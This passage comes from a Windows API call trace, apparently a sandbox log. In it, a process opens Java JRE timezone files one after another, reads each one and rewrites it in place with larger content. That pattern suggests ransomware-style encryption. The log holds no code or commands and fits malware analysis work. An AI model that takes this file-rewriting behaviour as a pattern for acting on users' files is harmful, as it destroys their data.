lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2e0f2d0*=0x8c0, lpOverlapped=0x0) returned 1 [0048.411] CloseHandle (hObject=0x1b0) returned 1 [0048.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\La_Rioja" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\la_rioja"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.412] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.412] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x22d [0048.412] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.412] ReleaseMutex (hMutex=0x128) returned 1 [0048.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="La_Rioja", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="La_Rioja", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="La_Rioja", lpUsedDefaultChar=0x0) returned 8 [0048.412] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e0de08, nNumberOfBytesToRead=0x22d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0de08*, lpNumberOfBytesRead=0x2e0f2bc*=0x22d, lpOverlapped=0x0) returned 1 [0048.413] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.413] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7b5, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2e0f2d0*=0x7b5, lpOverlapped=0x0) returned 1 [0048.413] CloseHandle (hObject=0x1b0) returned 1 [0048.413] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Atikokan" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\atikokan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.414] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.414] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5d [0048.414] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.414] ReleaseMutex (hMutex=0x128) returned 1 [0048.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Atikokan", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Atikokan", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Atikokan", lpUsedDefaultChar=0x0) returned 8 [0048.414] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df5558, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df5558*, lpNumberOfBytesRead=0x2e0f2bc*=0x5d, lpOverlapped=0x0) returned 1 [0048.415] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.415] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e5, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5e5, lpOverlapped=0x0) returned 1 [0048.415] CloseHandle (hObject=0x1b0) returned 1 [0048.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cambridge_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cambridge_bay"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0048.415] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.415] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x434 [0048.416] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0048.416] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.416] ReleaseMutex (hMutex=0x128) returned 1 [0048.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cambridge_Bay", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cambridge_Bay", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cambridge_Bay", lpUsedDefaultChar=0x0) returned 13 [0048.416] ReadFile (in: hFile=0x1b0, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x434, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2e0f2bc*=0x434, lpOverlapped=0x0) returned 1 [0048.770] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0048.770] WriteFile (in: hFile=0x1b0, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9bc, lpOverlapped=0x0) returned 1 [0048.770] CloseHandle (hObject=0x1b0) returned 1 [0048.770] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cuiaba" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cuiaba"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.946] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.946] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x44c [0050.946] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.946] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.946] ReleaseMutex (hMutex=0x128) returned 1 [0050.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cuiaba", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.946] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Cuiaba", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cuiaba", lpUsedDefaultChar=0x0) returned 6 [0050.946] ReadFile (in: hFile=0x1c4, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x44c, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2e0f2bc*=0x44c, lpOverlapped=0x0) returned 1 [0050.948] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.948] WriteFile (in: hFile=0x1c4, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9d4, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x9d4, lpOverlapped=0x0) returned 1 [0050.948] CloseHandle (hObject=0x1c4) returned 1 [0050.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\El_Salvador" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\el_salvador"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.948] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.948] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x69 [0050.949] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.949] ReleaseMutex (hMutex=0x128) returned 1 [0050.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="El_Salvador", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="El_Salvador", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="El_Salvador", lpUsedDefaultChar=0x0) returned 11 [0050.949] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e49cf0, nNumberOfBytesToRead=0x69, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e49cf0*, lpNumberOfBytesRead=0x2e0f2bc*=0x69, lpOverlapped=0x0) returned 1 [0050.950] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.950] WriteFile (in: hFile=0x1c4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5f1, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5f1, lpOverlapped=0x0) returned 1 [0050.950] CloseHandle (hObject=0x1c4) returned 1 [0050.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guyana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guyana"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.950] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.950] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x59 [0050.950] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.951] ReleaseMutex (hMutex=0x128) returned 1 [0050.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guyana", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guyana", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guyana", lpUsedDefaultChar=0x0) returned 6 [0050.951] ReadFile (in: hFile=0x1c4, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2e0f2bc*=0x59, lpOverlapped=0x0) returned 1 [0050.951] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.951] WriteFile (in: hFile=0x1c4, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x2e0f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0050.952] CloseHandle (hObject=0x1c4) returned 1 [0050.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Vincennes" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\vincennes"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.953] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.953] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x374 [0050.953] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.953] ReleaseMutex (hMutex=0x128) returned 1 [0050.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vincennes", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Vincennes", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Vincennes", lpUsedDefaultChar=0x0) returned 9 [0050.953] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x374, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2e0f2bc*=0x374, lpOverlapped=0x0) returned 1 [0050.957] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.957] WriteFile (in: hFile=0x1c4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8fc, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2e0f2d0*=0x8fc, lpOverlapped=0x0) returned 1 [0050.957] CloseHandle (hObject=0x1c4) returned 1 [0050.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Los_Angeles" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\los_angeles"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.958] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.958] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x618 [0050.958] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.958] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.958] ReleaseMutex (hMutex=0x128) returned 1 [0050.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Los_Angeles", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Los_Angeles", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Los_Angeles", lpUsedDefaultChar=0x0) returned 11 [0050.958] ReadFile (in: hFile=0x1c4, lpBuffer=0x2640408, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesRead=0x2e0f2bc*=0x618, lpOverlapped=0x0) returned 1 [0050.960] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.960] WriteFile (in: hFile=0x1c4, lpBuffer=0x276d7b8*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d7b8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xba0, lpOverlapped=0x0) returned 1 [0050.960] CloseHandle (hObject=0x1c4) returned 1 [0050.960] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Mexico_City" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\mexico_city"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.960] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.960] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x370 [0050.960] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.960] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.960] ReleaseMutex (hMutex=0x128) returned 1 [0050.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mexico_City", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mexico_City", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mexico_City", lpUsedDefaultChar=0x0) returned 11 [0050.961] ReadFile (in: hFile=0x1c4, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2e0f2bc*=0x370, lpOverlapped=0x0) returned 1 [0050.962] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.962] WriteFile (in: hFile=0x1c4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2e0f2d0*=0x8f8, lpOverlapped=0x0) returned 1 [0050.962] CloseHandle (hObject=0x1c4) returned 1 [0050.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nome" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\nome"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.963] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.963] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4cc [0050.963] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.963] ReleaseMutex (hMutex=0x128) returned 1 [0050.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nome", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0050.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nome", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nome", lpUsedDefaultChar=0x0) returned 4 [0050.963] ReadFile (in: hFile=0x1c4, lpBuffer=0x2742168, nNumberOfBytesToRead=0x4cc, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2742168*, lpNumberOfBytesRead=0x2e0f2bc*=0x4cc, lpOverlapped=0x0) returned 1 [0050.964] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0050.965] WriteFile (in: hFile=0x1c4, lpBuffer=0x276d7b8*, nNumberOfBytesToWrite=0xa54, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d7b8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xa54, lpOverlapped=0x0) returned 1 [0050.965] CloseHandle (hObject=0x1c4) returned 1 [0050.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port-au-Prince" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\port-au-prince"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0050.965] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.965] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x314 [0050.965] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0050.965] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.965] ReleaseMutex (hMutex=0x128) returned 1 [0050.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Port-au-Prince", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0050.965] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Port-au-Prince", cchWideChar=14, lpMultiByteStr=0x1e630ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Port-au-Prince", 